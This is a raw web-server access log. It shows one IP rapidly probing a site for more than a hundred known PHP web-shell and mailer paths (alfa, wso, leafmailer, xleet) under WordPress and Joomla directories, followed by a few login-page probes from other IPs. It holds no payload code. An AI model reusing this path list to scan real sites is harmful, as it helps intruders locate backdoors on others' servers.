[29/Apr/2025:10:52:44 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:45 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:46 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:46 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:47 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:48 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:48 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:49 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:50 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:50 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:51 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:51 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:52 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:53 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:53 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:54 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:54 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:55 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:55 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:56 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:57 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:58 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:58 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:59 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:59 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:00 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:01 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:01 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:02 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:02 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:03 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:04 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:04 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:05 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:05 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:06 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:07 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:07 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:08 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:08 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:09 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:10 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:10 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:11 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:11 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:12 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:13 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:13 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:14 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:14 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:15 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:16 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:16 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:17 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:18 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:18 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:19 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:19 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:20 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:21 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:21 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:22 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:22 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:23 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:24 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:24 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:25 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:25 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:26 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:26 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:27 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:28 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:28 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:29 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:30 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:30 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:31 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:32 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:33 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:33 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:34 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:34 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:35 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:36 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:37 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:37 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:38 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:38 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:39 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:40 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:40 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:41 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:42 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:42 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:43 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:43 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:44 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:44 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:45 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:46 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:46 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:47 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:48 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:48 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:49 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:50 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:50 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:51 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:51 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:52 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:53 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:53 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:54 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:54 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:55 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:56 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:56 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:57 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:58 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:58 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:53:59 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:00 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:00 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:01 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:02 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:02 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:03 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:04 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:04 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:05 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:05 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:06 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:06 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:07 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:08 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:08 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:09 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:10 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:11 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:11 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:12 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:12 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:13 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:14 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:14 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:15 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:16 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:16 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:17 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:17 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:18 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:19 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:19 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:20 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:20 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:21 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:22 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:22 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:23 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:23 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:24 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:24 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:25 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:26 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:26 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:27 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:27 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:28 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:28 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:29 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:29 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:30 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:31 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:31 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:32 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:32 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:33 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:34 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:34 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:35 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:35 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:29 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:29 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:52:30 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:36 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:37 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:37 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:38 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:38 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:39 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:40 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:40 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:41 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:41 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:42 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:42 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:43 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:44 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:44 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:45 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:45 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:46 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:47 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:47 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:48 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:48 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:49 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 13.74.143.99 - - [29/Apr/2025:10:54:49 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 83.171.225.211 - - [29/Apr/2025:10:58:24 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "http://designpitara.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 83.171.225.211 - - [29/Apr/2025:10:58:32 -0400] "GET /administrator/ HTTP/1.1" 301 795 "http://designpitara.com/administrator/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 15.235.160.194 - - [29/Apr/2025:11:02:07 -0400] "GET /plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 15.235.160.194 - - [29/Apr/2025:11:02:10 -0400] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 175.27.164.113 - - [29/Apr/2025:11:20:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.204.35.240 - - [29/Apr/2025:11:57:08 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "http://designpitara.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 62.204.35.240 - - [29/Apr/2025:11:57:18 -0400] "GET /administrator/ HTTP/1.1" 301 795 "http://designpitara.com/administrator/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:12:15:23 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:12:16:05 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:12:16:23 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:12:16:45 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 34.232.23.139 - - [29/Apr/2025:12:27:32 -0400] "GET /img/logo/favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.7 Safari/532.9" 34.232.23.139 - - 